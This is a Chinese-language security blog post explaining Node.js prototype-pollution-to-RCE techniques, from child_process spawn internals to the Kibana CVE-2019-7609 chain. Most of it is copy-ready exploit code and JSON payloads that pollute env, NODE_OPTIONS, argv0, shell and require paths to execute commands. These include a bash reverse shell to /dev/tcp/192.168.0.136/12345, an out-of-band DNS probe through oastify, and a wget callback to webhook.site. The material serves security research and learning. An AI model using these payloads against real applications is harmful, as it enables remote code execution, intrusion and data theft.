目录

  1. 1. 前言
  2. 2. 关于child_process的spawn
  3. 3. Kibana-RCE(CVE-2019-7609)
  4. 4. PP2RCE(Prototype Pollution to RCE)
    1. 4.1. 通过环境变量
    2. 4.2. via env vars + cmdline
    3. 4.3. DNS探测
  5. 5. 上述两种方法延伸出child_process 下其它函数利用
    1. 5.1. exec
    2. 5.2. execFile
    3. 5.3. spawn
    4. 5.4. execFileSync
    5. 5.5. execSync
    6. 5.6. spawnSync
  6. 6. 主动调用spawn
    1. 6.1. 原型链污染设置 require 路径
      1. 6.1.1. 绝对require
      2. 6.1.2. 相对require
  7. 7. VM Gadgets

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

PP2RCE

2024/10/11 Web Nodejs
  |     |   总文章阅读量:

前言

参考:

http://xz.aliyun.com/t/6755

https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/

https://book.hacktricks.xyz/cn/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce

https://www.sonarsource.com/blog/blitzjs-prototype-pollution/

https://www.yuque.com/cnily03/tech/lg05qpua2gz8yf89#


关于child_process的spawn

在一开始学习nodejs漏洞的时候就提过,child_process 内置的6个函数底层最终都会调用 spawn

nodejs内部模块的调试参考:https://blog.csdn.net/u012961419/article/details/120664191

注:参考文章中的node版本在 v8.x 之前:https://github.com/nodejs/node/blob/v8.x/lib/child_process.js

本文将会对照本人所用的 v18.x 版本和参考版本的代码进行撰写

child.spawn({
    file: opts.file,
    args: opts.args,
    cwd: options.cwd,
    windowsHide: !!options.windowsHide,
    windowsVerbatimArguments: !!options.windowsVerbatimArguments,
    detached: !!options.detached,
    envPairs: opts.envPairs,
    stdio: options.stdio,
    uid: options.uid,
    gid: options.gid
});

以下面的代码为例:

const { spawn } = require('child_process');

spawn('whoami').stdout.on('data', (data) => {
    console.log(`stdout: ${data}`);
  });

Node使用模块child_process建立子进程时,调用用户层面的 spawn 方法。初始化子进程的参数,步入normalizeSpawnArguments

image-20241011170055597

https://github.com/nodejs/node/blob/v8.x/lib/child_process.js#L501

var spawn = exports.spawn = function(/*file, args, options*/) {
  var opts = normalizeSpawnArguments.apply(null, arguments);

跟进normalizeSpawnArguments

image-20241011170728758

https://github.com/nodejs/node/blob/v8.x/lib/child_process.js#L387

function normalizeSpawnArguments(file, args, options) {
    ...//省略
  if (options === undefined)
    options = {};

    ...//省略
  var env = options.env || process.env;
  var envPairs = [];

  for (var key in env) {
    envPairs.push(key + '=' + env[key]);
  }

  _convertCustomFds(options);

  return {
    file: file,
    args: args,
    options: options,
    envPairs: envPairs
  };
}

当 options 不存在时将其命为空对象

然后获取 env 变量,首先对 options.env 是否存在做了判断,如果 options.env 为undefined则将环境变量process.env的值复制给 env

而后对 envPairs 这个数组进行push操作,其实就是 env 变量对应的键值对

在 node v18.0 中,它的代码变成了下面的形式:

for (const key of envKeys) {
    const value = env[key];
    if (value !== undefined) {
        validateArgumentNullCheck(key, `options.env['${key}']`);
        validateArgumentNullCheck(value, `options.env['${key}']`);
        ArrayPrototypePush(envPairs, `${key}=${value}`);
    }
}

用几个方法封装了同样的操作,不影响

很明显这里存在一个原型链污染的问题,options默认为空对象,那么它的任何属性都存在被污染的可能

只要能污染到Object.prototype,那么options就可以添加我们想要的任何属性,包括options.env


经过normalizeSpawnArguments封装并返回后,建立新的子进程new ChildProcess(),这里才算进入内部 child_process 的实现

image-20241011171703419

观察一下原生的spawn源码实现:

ChildProcess.prototype.spawn = function(options) {
  let i = 0;

  validateObject(options, 'options');

  // If no `stdio` option was given - use default
  let stdio = options.stdio || 'pipe';

  stdio = getValidStdio(stdio, false);

  const ipc = stdio.ipc;
  const ipcFd = stdio.ipcFd;
  stdio = options.stdio = stdio.stdio;


  validateOneOf(options.serialization, 'options.serialization',
                [undefined, 'json', 'advanced']);
  const serialization = options.serialization || 'json';

  if (ipc !== undefined) {
    // Let child process know about opened IPC channel
    if (options.envPairs === undefined)
      options.envPairs = [];
    else
      validateArray(options.envPairs, 'options.envPairs');

    ArrayPrototypePush(options.envPairs, `NODE_CHANNEL_FD=${ipcFd}`);
    ArrayPrototypePush(options.envPairs,
                       `NODE_CHANNEL_SERIALIZATION_MODE=${serialization}`);
  }

  validateString(options.file, 'options.file');
  this.spawnfile = options.file;

  if (options.args === undefined) {
    this.spawnargs = [];
  } else {
    validateArray(options.args, 'options.args');
    this.spawnargs = options.args;
  }

  const err = this._handle.spawn(options);

  // Run-time errors should emit an error, not throw an exception.
  if (err === UV_EACCES ||
      err === UV_EAGAIN ||
      err === UV_EMFILE ||
      err === UV_ENFILE ||
      err === UV_ENOENT) {
    process.nextTick(onErrorNT, this, err);

    // There is no point in continuing when we've hit EMFILE or ENFILE
    // because we won't be able to set up the stdio file descriptors.
    if (err === UV_EMFILE || err === UV_ENFILE)
      return err;
  } else if (err) {
    // Close all opened fds on error
    for (i = 0; i < stdio.length; i++) {
      const stream = stdio[i];
      if (stream.type === 'pipe') {
        stream.handle.close();
      }
    }

    this._handle.close();
    this._handle = null;
    throw errnoException(err, 'spawn');
  } else {
    process.nextTick(onSpawnNT, this);
  }

  this.pid = this._handle.pid;

  for (i = 0; i < stdio.length; i++) {
    const stream = stdio[i];
    if (stream.type === 'ignore') continue;

    if (stream.ipc) {
      this._closesNeeded++;
      continue;
    }

    // The stream is already cloned and piped, thus stop its readable side,
    // otherwise we might attempt to read from the stream when at the same time
    // the child process does.
    if (stream.type === 'wrap') {
      stream.handle.reading = false;
      stream.handle.readStop();
      stream._stdio.pause();
      stream._stdio.readableFlowing = false;
      stream._stdio._readableState.reading = false;
      stream._stdio[kIsUsedAsStdio] = true;
      continue;
    }

    if (stream.handle) {
      stream.socket = createSocket(this.pid !== 0 ?
        stream.handle : null, i > 0);

      if (i > 0 && this.pid !== 0) {
        this._closesNeeded++;
        stream.socket.on('close', () => {
          maybeClose(this);
        });
      }
    }
  }

  this.stdin = stdio.length >= 1 && stdio[0].socket !== undefined ?
    stdio[0].socket : null;
  this.stdout = stdio.length >= 2 && stdio[1].socket !== undefined ?
    stdio[1].socket : null;
  this.stderr = stdio.length >= 3 && stdio[2].socket !== undefined ?
    stdio[2].socket : null;

  this.stdio = [];

  for (i = 0; i < stdio.length; i++)
    ArrayPrototypePush(this.stdio,
                       stdio[i].socket === undefined ? null : stdio[i].socket);

  // Add .send() method and start listening for IPC data
  if (ipc !== undefined) setupChannel(this, ipc, serialization);

  return err;
};

其中的this._handle.spawn调用了 process_wrap.cc 的 spawn 来生成子进程:https://github.com/nodejs/node/blob/82dab76d63e6f3592e15e49d7dba2367044d4869/src/process_wrap.cc#L153

static void Spawn(const FunctionCallbackInfo<Value>& args) {
    //获取js传过来的第一个option参数
    Local<Object> js_options = args[0]->ToObject(env->context()).ToLocalChecked();

    ...
    // options.env
    Local<Value> env_v =
        js_options->Get(context, env->env_pairs_string()).ToLocalChecked();
    if (!env_v.IsEmpty() && env_v->IsArray()) {
      Local<Array> env_opt = Local<Array>::Cast(env_v);
      int envc = env_opt->Length();
      CHECK_GT(envc + 1, 0);  // Check for overflow.
      options.env = new char*[envc + 1];  // Heap allocated to detect errors.
      for (int i = 0; i < envc; i++) {
        node::Utf8Value pair(env->isolate(),
                             env_opt->Get(context, i).ToLocalChecked());
        options.env[i] = strdup(*pair);
        CHECK_NOT_NULL(options.env[i]);
      }
      options.env[envc] = nullptr;
    }
    ...

    //调用uv_spawn生成子进程,并将父进程的event_loop传递过去
    int err = uv_spawn(env->event_loop(), &wrap->process_, &options);
    //省略
  }

代码只截取了对 env 这个属性的操作,它将原先的 envPairs 进行封装。最后所有 options 带入uv_spawn来生成子进程,在uv_spawn中就是常规的 fork()、waitpid() 来控制进程的产生和资源释放,不过有一个非常重要的实现如下:

//process.cc->uv_spawn()

execvp(options->file, options->args);

使用了 execvp 来执行任务,这里的 options->file 就是我们最初传给spawn的参数。比如我们的例子是spawn('whoami'),那么此时的file就是whoami,当然对于有参数的命令,则 options->args 与之对应。


Kibana-RCE(CVE-2019-7609)

node的官方文档中能找到用例:https://nodejs.org/api/cli.html#cli_node_options_options

node > v8.0.0 支持运行node时增加一个命令行参数NODE_OPTIONS,它能够包含一个js脚本,相当于include

在node进程启动的时候会作为环境变量加载

NODE_OPTIONS='--require ./evil.js' node

image-20241011173250328

如果我们能改变本地环境变量,则在node创建进程的时候就可以包含恶意语句,当然了这需要 bash 来export

不过上面打印 process.env 也显示出一件事,只需要污染 process.env 即可rce,于是有了Kibana的poc:

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

node运行时会把当前进程的 env 写进系统的环境变量,子进程也一样,在linux中存储为/proc/self/environ

通过污染 env 把恶意的语句写进 /proc/self/environ。同时污染process.NODE_OPTIONS属性,使node在生成新进程的时候,包含我们构造的/proc/self/environ。具体操作就类似下面的用法

AAAA='console.log(123)//' NODE_OPTIONS='--require /proc/self/environ' node

image-20241011174458613

image-20241011173851168

污染了 Object.env 之后,利用Canvas生成新进程的时候会执行spawn从而RCE


由于我们这篇文章的重心是pp2rce,Kibana部分的源码就不搞了,看看图得了(

image-20241011175635060

image-20241011175645794

需要知道的是fork()spawn('whoami')的差别,虽然 fork 调用了 spawn 来实现的子进程创建

exports.fork = function(modulePath /*, args, options*/) {
    ...//省略
    options.execPath = options.execPath || process.execPath;
    return spawn(options.execPath, args, options);
}

它处理了 execPath 这个属性,默认获取系统变量的 process.execPath ,再传入spawn,这里是node

而使用 spawn 处理的时候,得到的file是我们传入的参数whoami

上面分析过,child_process 在子进程创建的最底层,会调用 execvp 执行命令执行file

execvp(options->file, options->args);

而上面poc的核心就是NODE_OPTIONS='--require /proc/self/environ' node,即bash调用了node去执行。所以此处的file值必须为node,否则无法将NODE_OPTIONS载入

而直接调用spawn函数时必须有file值,这也造成了直接跑spawn('whoami')无法加载 evil.js 的情况

所以最终的poc是:

// test.js
proc = require('child_process');
var aa = {}
aa.__proto__.env = {'AAAA':'console.log(123)//','NODE_OPTIONS':'--require /proc/self/environ'}
proc.fork('./function.js');

//function.js
console.log('this is func')

这个trick如果要用 fork 进行 rce 的话要求我们能够可控一个文件的内容


经过测试execexecFile函数无论传入什么命令,file的值都会为/bin/sh,因为参数shell默认为true。即使不传入 options 选项,这两个命令也会默认定义options,这也是 child_process 防止命令执行的一种途径

image-20241011222634908

但是shell这个变量也是可以被污染的,不过child_process在这里做了限制,即使 shell===false 或字符串。最终传到execvp时也会被执行的参数替代,而不是真正的node进程


PP2RCE(Prototype Pollution to RCE)

通过环境变量

原理就是上面的 Kibana-RCE

为了让 /proc/self/environ 开头就是我们的恶意js代码,EVIL 的部分必须放在最开始

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('cat /proc/self/environ>pp2rce.txt').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./evil.js');
// This should create the file pp2rce.txt

image-20241011225507262

可以看到这里实际rce的就是执行了node /proc/self/environ

json速抄:

{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}

via env vars + cmdline

不知道从哪个版本开始,nodejs会始终将NODE_OPTIONS放在 environ 文件中的首位,于是就有了这个方法

spawn() 函数还有另外两个选项:argv0shell

  • argv0:控制传递给新进程的参数列表中的第一个元素,相当于执行命令,而所有的参数都会出现在文件 /proc/self/cmdline 中,因此第一个元素将位于开头

那么我们可以尝试把 NODE_OPTIONS 的值更改为 --require /proc/self/cmdline,并且把 payload 写入 argv0

不过这时候由于 argv0 被修改了,导致无法生成进程,因为它不是有效的命令或文件路径,这点我们可以指定 shell 参数来绕过,只要设置为一个可执行文件的路径,这样执行命令时就会把shell参数附加到命令及其参数的前面,如/bin/myshell -c "command arg1 arg2 arg3",这里无脑用/proc/self/exe即可

到时候执行的节点进程大致如下:

execve("/proc/self/exe", ["console.log('pwned!');//", "-c", "node …"], { NODE_OPTIONS: "--require /proc/self/cmdline" })

此时 argv0 即这里的console.log('pwned!');//

poc:

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}

// 实测shell参数可以不改,不知道为什么
// b.__proto__.shell = "/proc/self/exe"
b.__proto__.argv0 = "console.log(require('child_process').execSync('cat /proc/self/cmdline>pp2rce.txt').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./evil.js');
// This should create the file pp2rce.txt

json速抄:

{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}

DNS探测

--inspect是用来指定调试器url的,如NODE_OPTIONS='--inspect=localhost:4444'

甚至可以指定一个dns服务器

image-20241012172457197

image-20241012172509331

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

上述两种方法延伸出child_process 下其它函数利用

node v18.4.0后,options 的默认值为 kEmptyObject 而不是 {},对spawnspawnSync有影响

exec

不能污染.env,因为此时 options.env 的值为 null

污染cmdline:

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('whoami>pp2rce.txt').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

windows下(后面windows都差不多就不重复copy了):

const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');

execFile

env:

// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

cmdline:

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

还有直接控制 execArgv 参数来命令执行的:

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

spawn

污染env:

// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('whoami>pp2rce.txt').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');

污染cmdline:

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

execFileSync

env:

// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

cmdline:

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

stdin,居然可以直接调用 vim 写入文件:

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

execSync

和execFileSync一样,只是换了函数而已


spawnSync

同上


主动调用spawn

前面的操作都是基于代码中调用了spawn的功能,如果代码没有调用它但是存在 require 的话,我们可以尝试通过原型链污染来包含依赖中调用了 spawn 的 js 文件

一些常见的文件:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • node_modules/buffer/bin/download-node-tests.js:17

    cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10

    var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/npm/scripts/changelog.js:16

    const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)

  • node_modules/detect-libc/bin/detect-libc.js:18

    process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);

  • node_modules/jest-expo/bin/jest.js:26

    const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });

  • node_modules/buffer/bin/download-node-tests.js:17

    cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10

    var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/runtypes/scripts/format.js:13

    const npmBinPath = execSync('npm bin').toString().trim();

  • node_modules/node-pty/scripts/publish.js:31

    const result = cp.spawn('npm', args, { stdio: 'inherit' });


原型链污染设置 require 路径

这一部分我都复现失败了,不知道为什么,node版本v18.14.0和v10.19.0

绝对require

如果执行的 require 是绝对的require("bytes")),并且这个包在 package.json 文件中不包含 main,可以直接污染 main 属性并使 require 执行不同的文件

main字段:定义了 npm 包的入口文件,比如说 npm 包 test 下有 lib/index.js 作为入口文件,那么 package.json 中的写法就是 "main": "lib/index.js"

exp:

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

malicious.js

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");

json速抄:

{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}

相对require

如果加载的是相对路径而不是绝对路径,可以使节点加载不同的路径:

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

法2:

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

法3:

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

VM Gadgets

https://arxiv.org/pdf/2207.11171